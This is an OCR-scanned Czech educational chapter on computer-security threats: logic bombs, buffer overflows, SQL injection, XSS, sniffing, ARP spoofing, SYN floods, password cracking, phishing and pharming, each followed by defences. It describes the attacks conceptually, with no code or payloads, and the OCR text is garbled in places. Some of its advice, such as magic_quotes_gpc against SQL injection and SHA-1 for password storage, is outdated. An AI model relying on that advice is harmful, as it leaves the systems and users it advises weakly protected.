URL injection, n€kdy také [2] nazyvané hijacker (Cesky tinosce), je $kodlivy kod ménici
URL adresy zadanych stranek a ptesouvajici nas na uplné jiné webové stranky (nejcasteji

na weboveé stranky s pornografickym obsahem) nez jsme pozadovali.
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Obrana

Opét je zde jednoduchéa rada: aktualizovat, aktualizovat a aktualizovat. Pouzivat kvalitni

antispywarovy, antiadwarovy a antivirovy program a nastavit vys§i Groveil zabezpeceni

N 4

1.2.13 Logicka (¢asovana) bomba

Logickou (¢asovanou) bombou [2] nazyvame takovy malware, ktery je ukryt v pocitaci
a ¢eka na vhodny signal (napf. stisknuti [13] jisté kombinace klaves, dosazeni urcitého
data apod.) a vzapéti provede preddefinovanou akci. Nejcastéji [2] pouzivaji logickou
bombu lidé zevnitt prostiedi tzv. ,,insidefi (napf. ve firmach), ktefi byli v zaméstnani
nespokojeni nebo byli propusténi apod. Tito nespokojeni zaméstnanci vétSinou prostiedi
velice dobfe znaji (zvlasté kdyz se jednd o spravce sit€¢) a umi tak sviij Gtok velice dobie
zamifit a zpusobit zna¢né Skody. Pied utoky [13] z vné&jSku byvaji pocitatové systémy
veelku dobie zabezpeleny, ale proti napadeni zevnité byvaji prakticky bezbranné.
Dokladaji to i statistiky, podle nichz je kolem 80 % bezpe¢nostnich incidentd zpisobeno

pravé vlastnimi zaméstnanci.
Obrana

Chranit se [2] proti takovému nebezpe¢i je velmi obtizné, protoze utok zevnitié systému
malokdo ocekava. Je nutné podrobné vypracovani bezpecnostni politiky, aby kazdy

pracovnik [13] v pocitacové siti mél jasné definovana prava, povinnosti a zodpovédnost.

1.2.14 Aktualni informace o hrozbach

Informace muzeme dohledat béZn¢ na internetovych strankach zabyvajicich se bezpe¢nosti
pocitace. Naptiklad spolecnost Symantec (Www.Symantec.com) poskytuje navstévnikiim
aktualni piehled hrozeb, rizik a zranitelnosti pomoci tzv. threat exploreru, nahled stranky
muzZete vidét na obrazku (Obr. 1). Dale spole¢nost Eset (www.eset.com) zpracovava
a publikuje pravidelné statistiky ohledn¢ aktualniho Skodlivého softwaru. Také na
strankéch serveru Viry.cz (www.viry.cz) najdete odkazy na dalsi weby zabyvajici se touto
problematikou. Ze zahrani¢nich stranek lze uvést napt. organizaci CERT/CC (CERT
Coordination Center) sledujici bezpecnost na internetu a pfidruzené problémy. Zminili

jsme jen ¢tyti zastupce, ale na internetu jich miazeme za par minutek najit celou fadu.
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Obr. 1. Prehled hrozeb na webovych strankdch spolecnosti Symantec.

1.3 Metody priniku

Metody pruniku vzdy [16] spoc€ivaji ve zneuziti néjaké slabiny ¢asti pocitacového systému.
Mohou to byt chyby pifimo od vyrobce (v aplikacich, operacnim systému apod.), chyby
dodavatele ¢i administratora (napi. Spatné nastaveni) nebo chyby uZivatele (slaba hesla
apod.), dochazi i k zneuzivani sitovych protokoli. Zacneme metodou pruniku, ktera tkvi

v preteCeni vyrovnavaci paméti.

1.3.1 Zneuziti preteCeni vyrovnavaci paméti

PieteCeni vyrovnavaci paméti (angl. buffer overflow) je nejéastéjsi [16] pouzivanou

technikou priniku do pocitacového systému, kteréd je zpiisobena programatorskou chybou,
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diky niz dochazi za jistych okolnosti k nezadoucimu piepsani paméti a zneuZziti pro
spusténi vlastniho kodu (tzv. shellcode). RozliSujeme [18] dva typy pieteceni bufferu:

preteCeni zasobniku (stack overflow) a preteceni haldy (heap overflow).

PreteCeni [6] vyrovnavaci paméti dosahneme tedy tim, Ze ji naplnime proménnou s vétsi
hodnotou, nez je ofekavana, coz vede pii vhodn¢ zvolenych datech k neoprdvnénému
vykonani piikazi na cilovém pocita¢i. Pokud ma napadeny proces privilegia
administratora, maji tato privilegia i vykonané ptikazy. Problém je témét vzdy zpisoben
Spatné napsanym programem, kdy aplikace ulozi data do vyrovnavaci paméti, aniz by

zkontrolovala jejich format.

Buffer overflow [18] nejcastéji vznika pfi nevhodném pouziti programovaciho jazyka
(zpravidla C nebo C++), jenz nema standardné¢ implementované mechanizmy ochrany
paméti. Ty pak musi manudlné vytvaret programatofi, kteti tak mnohdy necini nebo je
d€laji s chybami. Jednim z moznych disledki této chyby pfitom je, Ze muze dojit
k pfepsani nebo poskozeni korektnich dat. Takovychto [16] programéatorskych chyb (slabin
softwaru) je pomérné znacné mnozstvi. Naproti tomu programovaci jazyky [18] jako Java
a Lisp fidi vyc¢lenéni paméti automaticky a pouzivaji kombinaci riznych technik (run time
checking, static analysis) k tomu, aby né&jaky kod nenabizel pravdépodobnost nebo zcela
vylucoval moznost buffer overflow. Nékteré operacni systémy a Cipové architektury
mohou byt konfigurovéany tak, ze jsou odolné piimo proti pieteCeni zasobnik1, ale nikoliv

wewr

je proveditelna.
Obrana

Neustéale aktualizovat veskery software na pocitaci. PouZzivat jen ten software, ktery je
kvalitni a byl dostate¢né testovan. Neinstalovat zbyteCny software, ktery nebudeme
vyuzivat. Moznost [18] pouziti IDS (Intrusion Detection Systems), nebot’ tyto programy
maji moznost detekovat pokusy pravé o utok buffer overflow. Jak uz bylo feCeno,
i opera¢ni systémy maji n€které obranné mechanismy, které si s timto problémem dokazou
poradit, napt. ve Windows existuje funkce DEP (Data Execution Prevention) a v pfipadé
Linuxu je takovym feSenim napft. knihovna Libsafe, ktera ptesmérovava volani potencidlné

nebezpecnych funkci sama na sebe.
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1.3.2 Zneuziti chyb ve WWW aplikacich

Chyby, které se vyskytuji [16] na WWW strankach a webovych aplikacich, vznikaji opét
nepozornosti programatora. Prostiednictvim manipulace s dynamickymi parametry WWW
stranek (pfipadné cookies) lze proniknout na server nebo ziskat neopravnéné data, ktera

jsou na ném ulozena. Mezi nejcastéjsi utoky patii SQL injection a Cross Site Scripting

(XSS) a jejich rizné variace.
SQL injection

SQL injection je technika, pii které dojde [19] k podvrhnuti vstupnich dat (hodnot
proménnych odesilanych serveru) tak, aby byl n¢jakym zpiisobem pozménén vysledek
SQL dotazu. Utok na WWW stranky [20] je zpravidla provadén pres neoSetfeny formulaf,
manipulaci s URL nebo pomoci zakeiné upravené cookie. Utoénik [19] miize ziskat napt.
uzivatelskd hesla, skryté e-mailové adresy, administratorsky ucet webového systému,

ptistup ke v§em uctiim nardz nebo i smazat vSechna data v tabulkach apod.

Utoénik méa [19] daleko jednodussi praci, kdyZ zna strukturu tabulky nebo databaze

a nemusi proto odhadovat, jaké obsahuje sloupce, jejich ndzvy a jaké maji datové typy.

Variant [20] SQL pranikt je velmi mnoho a nemusime byt pfitom vazani jen na

predepsanou tabulku v SQL dotazu, ale miZzeme vypisovat data odkudkoliv z databaze.
Obrana

Tyto doporuceni plati spiSe pro programatory WWW aplikaci, protoze bézny uzivatel,
ktery aplikaci pouziva, proti SQL injection nic nezmlize a nezbyva mu nez ¢ekat, az tuto
chybu webmaster nebo programator opravi. Nejjednodussi obranou [20] je vhodna
kontrola a Uprava vstupnich dat. Prakticky kazdy skriptovaci program s podporou databaze
ma n¢jakou vestavénou funkci pro prevedeni potencidlné nebezpecnych znakti na

bezpecnou sekvenci (napfi. direktiva magic_quotes_gpc).

Je také [19] velmi dulezité, aby aplikacni skripty podavaly, co nejméné informaci
o struktufe databazi a tabulek, hlavné v pfipadé, kdyZ se vyskytne né&jaka chyba. Nejlépe je

dobré po nasazeni aplikace do provozu celkové vypnout vypisovani chyb.

Hesla by se méla porovnavat [19] a ukladat v databazi pouze v zahashované podobé¢, napf.
pouzitim hashovaci funkce ,,shal“. KdyZ pak dojde k ukradeni téchto zahashovanych dat,

je nesmirné tézké z nich dostat ptivodni hodnotu.
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Povolit v databazi jen zakladni SQL piikazy, protoze malokdy je potieba [20] pfimo

z aplika¢ni vrstvy mazat tabulky ¢i dokonce databaze.
Cross Site Scripting (XSS)

Cross Site Scripting, ozna¢ovana zkratkou XSS, je [21] volné pielozeno jako skriptovani
napfi¢ servery. Jedné se opét o techniku napadeni webovych stranek, ktera je zaloZena na
injektovani kédu na vstup webové aplikace, pfesnéji tam, kde programator nezamyslel
vlozeni ciziho koédu. XSS je aktudlné velkym bezpecnostnim problémem, protoZze 8 az 9

webl z 10 je nadchylnych na néktery z typti XSS. Typy XSS se déli nasledovné:

- Lokélni (DOM based) - vyuziti i na statickych strankach [22] a jde o neoSetiené

pfeneseni proménné z URL adresy do Javascriptu.

- Docasné (Non-Persistent) - postaveno [22] na tUpravé casti URL, ktera se
interpretuje do stranky jako jeji soucast, napiiklad jako nadpis. Pokud do URL
pridame sviij kod, ktery neni pied interpretaci upraven, tak se stranka v prohlizeci
zachova, jako by nami vlozeny kod byl jeji soucéasti. Non-Persistent XSS [21]

zahrnuje vSe, co zadany fetézec neukladé, ale pouze ho zpracuje a po$le na vystup.

- Trvalé (Persistent) - je problematikou [21] diskusnich foér, guestbooki
a podobnych webovych aplikaci, které uchovavaji data zadana na vstup zpravidla
data nacitaji pfimo z databaze, kde diky neoSetfenym vstuplim doslo k ulozeni
nebezpecéného kédu (napt. komentar ve foru). Zobrazenim onoho komentéaie pak

dochdzi ke spusténi skodlivého kodu pii kazdém nacteni této stranky do prohlizece.
Obrana

Na strané uzivatele [22] by se dalo chranit pouze vypnutim Javascriptu v internetovém
prohlizeci, ale ochrana proti XSS by méla byt na strané serveru v podobé odfiltrovani

nebezpecnych znakl z uzivatelského vstupu (napt. PHP funkci htmlspecialchars).

1.3.3 Sitové techniky (Sniffing, Spoofing)
Sniffing

Sniffing [1] (€esky ¢ichani nebo ¢muchani) je technika odposlechu sitové komunikace, pfi
které utocnik zjistuje, co se zrovna na siti déje. Sniffing pfimo neni nastroj k Utoku na

pocitaovy systém, ale slouzi k jeho ptipravé diky [9] odposlouchavani, shromazd’'ovani
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a nasledné analyze prendsenych paketl. Sniffing se pouziva zejména pii diagnostice sit¢,

k zjisténi pouzivanych sluzeb a protokold, a odposlechu datové komunikace.

Sniffer (program, ktery umozni odposlech sitové komunikace) funguje [1] tak, Ze sitové
rozhrani pfepne do tzv. promiskuitniho mddu. Tim dokaze sitové rozhrani ptijimat
vSechny pakety, které se na siti pohybuji bez jakékoli dalSi filtrace. Tyto pakety jsou
zaznamenavany a analyzovany. Sniffer zjisti napf. typ protokolu, IP adresy, MAC adresy,
nastaveni priznaku, v datové Casti lze najit 1 oteviené prenaSend hesla nebo dalsi citlivé
informace. N¢které kvalitni sniffery jsou do jisté miry schopny slozit cely pribeh relace
a dokazou filtrovat sitovy provoz podle protokolii i v graficky piehledné formé. Velice
dulezité je umisténi snifferu v siti, abychom ziskali ty sprdvné informace. Pii $patném

umisténi muze jit v pfepinatelnych sitich totiz vétSina informaci mimo sniffer.
Obrana

Zakladnim predpokladem [9] bezpecnosti je odeslat data tak, aby je mohl pfecist pouze
ten, komu jsou data adresovana. Odeslana data lze zabezpecit vhodnym Sifrovanim,
vhodnym zpiisobem autentizace a ovéfenim integrity. Miizeme napiiklad vyuzit Sifrovani
dat skrze SSL certifikaty, odesilani emailu podepsanych PGP/GPG kli¢em a systémem
certifikatt. Méli bychom dbat na kontrolu svého pocitace a pouzivat néktery z nastroji pro

odstranéni Skodlivého software (napt. zminiovany SpyBot Search & Destroy).

Vhodné volit [9] aktivni prvky a jiné soucasti sité, které minimalizuji vSesmérové vysilani
dat. Pokud si chceme provéfit nasi sitovou komunikaci, tj. jaka data probihaji na siti
a skym komunikuje na$ pocitac, Ize vyuzit téchto programil, napt. Nmap (ZenMap),
Ettercap, Wireshark (diive Ethereal), CommView, Network Monitor, dsniff, TcpDump

(pro Linux) aj.
Spoofing

Spoofing znamena v Cesting ,,napalit. U techniky spoofingu se snazi neautorizovany
subjekt vydavat za autorizovany, tim pfijimat a analyzovat data a pieposilat je dale
autorizovanému subjektu. Jinak feeno [9] piesvédCit protistranu, Ze jeji komunikace
probihd s Zadanou divéryhodnou stranou. Spoofing je technika aktivniho

odposlouchavani.

Pokud chce uto¢nik [9] odposlouchavat komunikaci mezi dvéma uzly sité, je mozné pouzit

techniku ,,man-in-the-middle* falSovani ARP pozadavki a odpovédi (ARP cache
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poisoning nebo MAC address spoofing). Utoénik musi obéma uzlim podstréit svoji MAC
adresu. Obéti si podvrzenou MAC adresu ulozi do ARP tabulky jako dvojici IP
adresa/MAC adresa. Obét’ pak sice odesila data na spravnou IP adresu, ale data putuji na
podvrzenou MAC adresu uto¢nika. Utoénik miize nepozorované data pozméiiovat a posilat

dal opravnénym uzlim, nebo spojeni uplné prerusit.
Obrana

Obrana proti [9] tomuto typu Gtoku je opét zavisla na uzitych aktivnich prvcich v siti.
Mnoho novych typti smérovacii a piepinacli ma jiz integrované funkce port security, které

ovetuji a detekuji falSovani MAC adres.

1.3.4 Denial of Service (DoS) utoky

Denial of Service (DoS) neboli potlaceni sluzby [1] neni pfimo Gtok na cilovy pocitac, ale
TCP/IP (nazyvany napf. ping of death, Smurf, Fraggle, boink, teardrop), dokud vétSina
Z chyb nebyla opravena. Mezi tyto chyby lze tadit ptili§ velké pakety, prekryvajici se
rozdelené pakety, zaplaveni smycky, nukery, drobeni paketi, NetBIOS/SMB a jejich rizné
kombinace. Aktualné je zde ovSem vaznéjsi typ utoku na dostupnost sluzeb a to

distribuované utoky (Distributed Denial of Service, DDoS).
Distribuované DoS

Téchto utokd [5] se ucastni velké mnozstvi pocitact, které dokazou svymi pozadavky
zahltit kapacitu i téch nejvétSich sitovych linek. Tyto utoky jsou zaméteny na zpracovani
paketi se SYN pfiznakem a je proti nim vétSina siti bezbranna. Hacketi takovéto toky
mohou podniknout, pokud maji ve své moci ,,zombie*“ pocitace, které jsme zmiilovali
Vv kapitole o pocitacovych infiltracich. Velké mnozstvi takto postizenych pocitaci tvori
tzv. zombie sit’. V dne$ni dobé se uz hackefi nezamétuji jen na sitovou infrastrukturu, ale 1
na aplika¢ni uroven, proto museji tvirei aplikaci myslet nejen na bezpecnost, ale i na jejich

dostupnost.

Zaplavovani SYN pakety [5] tedy vyuziva vymény dat implementace TCP/IP, kde bé&zné
navazani spojeni za¢ind postupem tzv. three-way handshake, pfi kterém zdrojovy pocitaé
vysle paket SYN cilovému pocitaci, ktery nasloucha na néjakém svém otevieném portu.

Tento port piejde do stavu SYN RECV a zdrojovému pocitaci odpovi paketem s ptiznaky
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SYN/ACK. Nakonec posle zdrojovy pocita¢ cilovému paket ACK a tim je spojeni

navazano.

Pii atoku SYN pakety [5] posle hacker obéti SYN paket s padélanou zdrojovou adresou.
Obét na n¢j odpovi SYN/ACK paketem, ale na pad¢lané adrese vétSinou zadny pocitac
neexistuje (pokud ano, odpovédél by RST paketem), takze obét’ se dokonceni spojeni
nedocka a jeho port zlstava ve stavu SYN RECYV, dokud nevypr§i maximalni povolena
doba pro navazovani spojeni (piiblizn€ 75 vtefin az 23 minut). Takto hacker odesle vice
SYN paketu béhem urcit¢ doby a ty se u obéti nastfadaji do fronty, uréené pro napil
oteviené porty, kterda ma ale zpravidla malou kapacitu. Tento Utok je u hackert velice
oblibeny a ucinny.

Obrana

Branit se [5] témto Gtokim je velice obtizné. Je mozné testovat webovou aplikaci nebo
celou sit’ proti DoS ttokiim pomoci aplikaci pfimo urcenych na tento typ napadeni, napf.
simulatorem WebLoad. Miizeme pouzit vybaveni s obranou proti DoS, napt. produkty jako
Cisco Guard, Top Layer nebo smérovace Juniper, které umi zcela zneSkodnit nebo vyrazné
omezit bézné DoS techniky. Mé&li bychom mit kvalitni sitové piipojeni s dostate¢nou

kapacitou a pravidelné¢ aktualizovat operacni systém.

1.3.5 Utoky na heslo

Utoky na heslo jsou velice starou metodou, ktera je ale porad aktualni. Velice mnoho
uzivatelli pouziva jednoducha hesla, ktera se n¢jakym zpiisobem snazi utoCnik ziskat.

Takovych zpusobt je vice, nejcastéj$i metoda je hadani (ldmani) hesel.

Nastroje na hadani hesel [1] patii k prvné pouzivanym hackerskym néstrojam. Riké se jim
»password crackers* neboli prolamovace a slouzi k prolomeni ochrany nebo autorizace,
ktera je zabezpecena statickym heslem. Pracuji tak, Ze zkouSi nejriznéjsi kombinace
znakii, pokud heslo projde autorizaci, odeslou ho tuto¢nikovi. Utok timto nastrojem je

dvojiho druhu a rozdil je v tom, jak zkousi kombinace znakd:

- Slovnikové utoky (dictionary attack) — zkouSi pouZzit znama hesla z vlastni

databaze slov.

- Utok hrubou silou (brute-force attack) — zkousi postupné viechny mozné

kombinace hesla s potiebnou délkou z vybranych znakd.
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Svtj vlastni slovnik [1] obsahuje vétSina kvalitnich prolamovact, ve kterém jsou
odstranény zbytecné a vétSinou nesmyslné kombinace znakll. Na internetu lze najit spoustu
prolamovact, které disponuji grafickym prostfedim a umoZiuji nastavit parametry
prolamovani hesla. Kvalitu lze posuzovat podle slovniku, ktery obsahuji a jakou rychlosti
dokazou generovana hesla ovéfovat. V soucasnosti je rychlost prolamovact, napf. na
odhaleni hesla zakddovanych souboru Microsoft Word, zhruba 50 000 hesel za sekundu na
bézném pocitaci. Najdou se samoziejme 1 velmi kvalitni prolamovace s rychlosti az milion
hesel za sekundu. Rychlost prolamovani je ovSem ovlivnéna témito faktory: rychlosti
pocitaCe, na némz nastroj bézi, typem prolamovanych dat (typ souboru), umisténim dat

nebo souboru (na lokalnim disku, v siti, na webu) a strukturou zak6dovaného souboru.

Prolamovace se nedaji [1] pfili§ pouzivat v sitovém prostfedi, protoze autorizaéni
procedury vétSinou obsahuji ochranny mechanismus, ktery vyZaduje casovy interval mezi
zadavanim hesla a také omezuje pocet omyld. Po nékolika netspéSnych pokusech se

ptistup zpravidla zablokuje.

DalSi variantou je ziskani hesla z odposlechu nezabezpeceného pienosu v sitové

komunikaci, nebo pouzitim techniky socialniho inZenyrstvi, které si vysvétlime vzapéti.
Obrana

Dulezita je volba hesla. Aby bylo heslo bezpe¢né, mélo by byt co nejdelsi, ovsem dlouha
hesla se pomérné tézko pamatuji. Aktualné staci, kdyz je délka hesla 15 a vice znakd,
obsahujici mala a velka pismena, ¢islice a jiné povolené znaky. Neméli bychom pouzivat
hlavné obyCejna a znama slova, aby nedoslo k jeho rychlému prolomeni slovnikovym

Utokem.

1.3.6 Socialni inZzenyrstvi

Socialni inZzenyrstvi se vyuziva jiz fadu let. D&jiny [1] socidlniho inZenyrstvi jsou dé&jiny
lidské hlouposti a slabin lidského vnimani, které jsou po celou historii lidstva dnes a denn¢
zneuzivany. Sociotechnik je Gpln€ néco jiného nez jen obycejny podvodnik. Podvodnik jen
mami z lidi penize, na rozdil sociotechnik vyuzivd manipulace a presvéd¢ovani se

zdmérem ziskani informaci.
Socialni inzenyrstvi [1] vyuziva nejslabsi ¢lanek pocitacovych systému - ¢loveéka. Vse
ovsem zaleZi na osobnosti sociotechnika, jak dokaZze budit davéru a s jakou lehkosti

dokéze zdolavat zabrany a ziskavat napf. pfisné€ tajné informace z podnikti, ufadu ¢i jinych
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instituci. Techniky ovliviiovani lidi nejsou nic nového, jen jsou pieneseny do nového
prostiedi a duvtipné vyuzivaji manipulace prostiednictvim modernich technologii. Tyto

technologie se snazi minimalizovat bezpecnostni riziko rtiznymi opatienimi, ale Casto se

vvvvvv

Bezpecnost [1] neni jen technologicky problém, je to opakujici se proces, ktery zahrnuje
1 problém lidi a fizeni. S vyvojem stdle dokonalejSich bezpecnostnich technologii, které
znesnadnuji hledani slabin v systému, se uto¢nici stale vice zamétuji na zneuZiti lidske
slabiny systému. Pfekonani lidské bariéry je Castokrat leh¢i (i méné rizikovéjsi), nez se

slozité ,,nabouravat® do systému pomoci hackingu.

Socialni inzenyrstvi [1] by se dalo definovat jako ,,uméni jak pfimét ostatni lidi, aby splnili
nase prani“ nebo také ,,psychologické triky hrané na opravnéné uzivatele systému za
ucelem ziskani pfistupu do tohoto systému* apod. Obecné se vSak jednd o zneuZiti
nejslabsiho ¢lanku, o chytrou a promyslenou manipulaci ptirozené diivétivosti ¢lovéka.
Clovék je bezpecnostni slabina, kterd je univerzalni, nezavislad na platformé, siti ¢i druhu
vybaveni a kdokoliv, kdo ma pfistup k jakékoliv ¢asti systému, fyzicky ¢i elektronicky,

pfedstavuje potencionalni bezpe¢nostni riziko.

Technika Gtoku sociotechnika [1] je zaméfena na selhani jednotlivce, vyuZivajici jeho
podvédomé zvyky a vlastnosti. Sociotechnik vyuziva slabych mist v bezpe€nostni politice
firmy, dale své schopnosti manipulace a vytvafeni pfipravenych situaci. Kazdy utok za¢ina
prizkumem volnych a dostupnych zdrojii informaci, nejcastéji webovych stranek firmy,
riznych marketingovych materialti, databazi (obchodni kontakty, telefonni Cdisla,
e-mailové adresy) apod. Detailnéjsi a osobni informace o zaméstnancich mtize hledat i na
socialnich sitich (Facebook, Tweeter, MySpace aj.) a vyuzitim téchto soukromych
informaci (napf. okruhu pratel obéti) mize sndze vzbudit u obéti vérohodnéjsi dojem.
Proto jsou socidlni sit¢ velice nebezpecné, avSak pro sociotechniky velice cenny zdroj
informaci. Na zaklad¢ zjisténych informaci tedy zacina budovat vztahy s vytipovanymi
osobami a ziskava si jejich duaveru, kterou nasledovné zneuzije pro ziskdni pottebné
informace. OvSem zde sociotechnicky cyklus nekon¢i, protoze informace ziskana v tomto
cyklu nemusi veést k dosazeni cile planovaneho Utoku a sociotechnicky cyklus se tak

opakuje v novém prostiedi. Tento cyklus si prohlédnéte na obrazku (Obr. 2).
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Ukondeni priace
sociotechnika

VyuZiti informace Podatek prace
sociotechnika

Vyuziti divéry Prizkum volnych
zdroji informaci

Budovéni vztahi /

a divéry

Obr. 2. Sociotechnicky cyklus [1].

Pro sociotechnické utoky jsou pouzivany riizné kombinace prostfedkd, metod a prostiedi.
K zakladnim prostiedkim patii telefon, e-mail, internetovy chat (v redlném c¢ase), bézna
papirovd korespondence nebo osobni kontakt (pro sociotechnika jeden z nejvice

rizikovych).
Obrana

Zékladem kazdé [1] uspésné obrany je dobie zpracovana bezpeénostni politika, ktera
zejména vymezuje Casti organizace vyzadujici vysoky stupeni ochrany dat a dokumentii
a jeji dusledné dodrzovani. Nesmi se zapominat na stanoveni bezpecnostnich pravidel
a vysvétlit vS§em zaméstnanctim, jak mohou vypadat zékladni pfiznaky sociotechnického

Gtoku. I piesto neni ochrana pted sociotechnickym ttokem viibec jednoducha, nebot

vvvvvv

Phishing

Phishing (Cesky rhybaieni) je [1] technika vyuZivajici socialni inZzenyrstvi a jejim cilem je
vyldkani utajované informace zobéti utoku pomoci elektronické posty (e-maily).
Phishingové Utoky [5] jsou zaméfeny na zakazniky finan¢nich ustavu s elektronickym
bankovnictvim, uzivatelé sluZzeb eBay a PayPal, zdkazniky pouZivajici platebni karty a na
osoby, které manipuluji se svymi penézi ptes internet. Pfi phishingu se uto¢nik snazi

pomoci podvrzeneho e-mailu nebo faleSné webové strdnky z obéti vylakat citliva data,
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obvykle [1] se jedna o pfistupové heslo, Cislo kreditni karty, ¢islo uctu, pristupové jméno
nebo jiné Udaje podobného typu. Takovy faleSny e-mail [2] muze vypadat jako Zzadost
bankovni instituce o ovéteni totoznosti, kde vas odkazuje na faleSnou stranku s formulaiem
pro zadani osobnich udajli. Vzhled této faleSné stranky vypadéd vétSinou témét identicky
jako skute¢na stranka zminované instituce a pravé takika dokonale napodobeny vzhled

okna je nejvétsim problémem, nebot’ prosty uzivatel si nebezpeci ¢asto ani neuvédomi.

V posledni dob¢ [2] jiz Gto¢nici posilaji skute¢nou webovou stranku bankovni instituce,
ale na ni je uveden odkaz (malé pop-up okno) s vyzvou k zdani vasSich citlivych dat. Tento
odkaz uz pravy neni. Banky a internetové obchody timto zptisobem pozadované informace
nikdy nechtéji a ani chtit nemohou. Phishefi navic ¢asto do svych zprav ptidavaji vyzvu,
aby wuzivatel¢ na jejich zpravu neodpovidali, nebot’ byla automaticky generovana
pocitaovym systémem. Praveé takovato ¢ast zpravy by nas méla upozornit a dostatecné

varovat.

Touto metodou [2] uz byly napadeny miliony lidi (pfevazné v USA) a ztraty [5] se
pohybuji kolem jedné miliardy dolarii roéné a stale rostou. V Ceské republice se zatim
phishing nikterak nerozmohl, ale uz jsou znamy nékteré ptipady, napt. [1] podvodny

e-mail zaméfeny na klienty Ceské spofitelny.
Obrana

Jednoduchou obranou [2] je na tento e-mail nereagovat a vymazat ho, ptipadné provést
ovéieni pravosti nejlépe telefonickou formou u skute¢né instituce. Pokud vyuzivame
internetové bankovnictvi, méla by s ndmi banka komunikovat pomoci zabezpecené¢ho
protokolu ,,https“. Rovnéz plati, ze nesmime nikomu sdélovat hesla, pfihlasovaci jména
a podobné osobni udaje. Nevyplilovat osobni informace do formuldit odkazovanych
z e-mailu apod. Veskeré podezielé aktivity si ovéfovat, pouzivat hlavné zdravy rozum

a premyslet o tom, nez néco takového provedeme.

Na obranu [5] pted phishingovymi utoky slouZzi i nékteré programy, které se nainstaluji do
webového prohlizece, napt. ScamBlocker, Anti-Phishing-Toolbar aj. Nebo mutzeme [2]
pouzivat alternativni webovy prohlize¢ s pfimo zabudovanou antiphishingovou ochranou

napt. Deepnet Explorer.
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Pharming

NS 24

dochazi k vyuziti podvrzenych stranek za ucelem vylakani osobnich informaci. Oviem
U pharmingu dochazi k ptfepsani IP adresy, bud’ piimo v naSem pocitaci nebo v DNS
serveru (DNS cache poisoning). V prvni varianté dojde k napadeni souboru, do kterého si
uklada webovy prohliZze¢ navstévované IP adresy, nasledkem toho se stane, Ze i po zadani
korektni jmenné adresy (napf. www.nejakabanka.cz) dojde k pfesmérovani na podvodnou
stranku a nic netuSici uzivatel zadava své osobni informace v domnéni, Ze je na skute¢né

poZadované strance.

W v

Druh& varianta [2] je nebezpeénéjsi, protoze dochazi k napadeni DNS serveru a nikoliv
domaciho pocitate. DNS server se stard o prevod jmenné adresy na IP adresu, prepsanim
této adresy dochazi ke stejné situaci jako v prvni varianté a uzivatel po napsani korektni
adresy do webového prohlizece vstoupi opét na faleSné stranky. Avsak v tomto piipadé
uzivatelovi zabezpe€eni svého pocitace nikterak nepomuize, protoze k napadeni dosSlo na

vzdaleném DNS serveru, ktery uZivatel nijak neovlivni,

Obrana

vvvvvv

stejné bezpecnostni opatfeni. Navic bychom jesté méli dbat na pravidelné aktualizovany
a kvalitni firewall, antivirovy, antispywarovy program. Dale bychom méli psat ve
webovém prohliZe¢i rovnou IP adresu (napt. 62.168.32.8) misto jmenné adresy serveru,
ktery chceme navstivit. MiiZeme také pouzit ndstroj Netcraft Toolbar, ktery umoziuje
sledovat zemé&pisnou polohu domén, takze si vzdycky ovéiime, zda se nachazime v Ceské

republice nebo jsme byli pfesmérovani na podvodné stranky nékde do zahranici.

1.4 Hacking a cracking

Pojmy ,,hacker* a termin ,,hacking® vznikl [1] zhruba v padesatych letech minulého stoleti
v komunité radioamatéri, kde se jim oznacoval Sikovny, technicky nadany jedinec,
schopny hledat nova zapojeni a metody ke zlepSeni vykonu a dosahu svého vysilace.
V oblasti MIT oznacCoval pojem ,hack® jednoduchy, Casto neuhlazeny, ale efektivni
zpusob feSeni problému. V Sedesatych a sedmdesatych letech skupina technologickych
nadSencit vyuzivala nedokonalosti telefonni sit¢ na uskute¢fiovani nezpoplatnénych

dalkovych telefonnich hovorti, oznacovali je jako ,,phreakers®. Hacking, jak ho znadme
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dnes, se vSak zaéina projevovat az v osmdesatych letech, kdy se uplatiiuje technologie
BBS (Bulletin Board System). BBS byly pocitace umoziujici vzdalené piipojeni
s moznosti Cerpat informace z databaze pomoci standardizovanych dotazi. Zacaly také
vznikat hackerské skupiny, které spolu komunikovaly a piedavaly si informace

a hackerske nastroje.

Mezi vyznamné osobnosti, které zasadhly do historie hackingu, patii napf. Kevin Mitnick,
Vladimir Levin, John Barlow, Markus Hass, R.T.Morris, R.M.Stallman. Né&ktefi z nich Si
odpykavaji trest ve vézeni a jini zaloZili firmu specializujici se na ochranu a bezpe¢nost

pocitacovych systémti.

1.4.1 Definice hackera a crackera
Hacker

Casto si pod pojmem hacker [1] vybavime né&jakého shrbeného, umasténého ,,chlapika“
s mnoha dioptriemi, ktery sedi neustale u pocitace a po nocich se nabourava do rtznych
systémti bez ohledu na divod nebo cil takové Cinnosti, ktery ni¢i internetové stranky,
krade choulostiva data jinych uzivateli a prodava je za miliony. Tato pfedstava je ovSem

zpusobena médii, zpravidla jen kvili novinatské nevédomosti nebo touze po senzaci.

Ve skute¢nosti miize hacker vypadat jako kazdy jiny a dal by se definovat jako cloveék,
ktereho bavi zkoumat [1] detaily programovatelnych systémid a hledat metody, jak je
vylepsit. DalSim jeho rysem je, Ze tento ¢lovék s nadSenim programuje a dokaze ocenit
»hack value“, tj. hodnotu ztvarnéného technologického feSeni. Byva expertem nebo
nadSencem v daném vé&dnim oboru. Dodrzuje hackerskou etiku, sta¢i mu uspokojeni

z toho, kdyz se o jeho ¢inu hovoii tfeba jen ve vlastni komunité.

Hacking [1] je jeho koni¢kem a u pocitace dokaze vysedavat dlouhé hodiny, ziskana data
nebo programy vyuZiva jen pro osobni potfebu nebo potiebu svych pratel. Zde nastava

rozdil mezi hackerem a crackerem.
Cracker

Cracker pacha pravé ony nelegalni aktivity, které jsou pfisuzované médii hackertim.
Zneuzivd [1] hackerské metody vétSinou pro finanéni zisk, vandalismus, teroristické

aktivity, finan¢ni podvody a dalSi nelegalni Cinnosti. Casto se jedna o organizované
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a izolované skupiny spojené¢ s krimindlnim podsvétim. Do této skupiny lze zaradit

1 hackery najimané korporacemi s cilem provadet primyslovou a obchodni $pionaz.

1.4.2 Typologie hackeri

Nejvyznamnéjsi skupiny hackeri [1] by se daly rozdélit:

Crackeri — kriminalni hackefi, jejichz motivaci je financni zisk apod.
Profesionalni hackeri — déli se podle tzv. kloboukové typologie.

0 White Hats — hackefi, ktefi uznavaji hackerskou etiku a ¢asto jsou najimani
firmami zabyvajicimi se bezpecnosti systému. Provadéji utoky na Z&dost
majitele, aby otestovali bezpecnost systému vici realnému utoku. Nalezené
slabiny zvefejnuji.

0 Black Hats — podobna ¢innost jako white hats, avSak s cilem napadnout
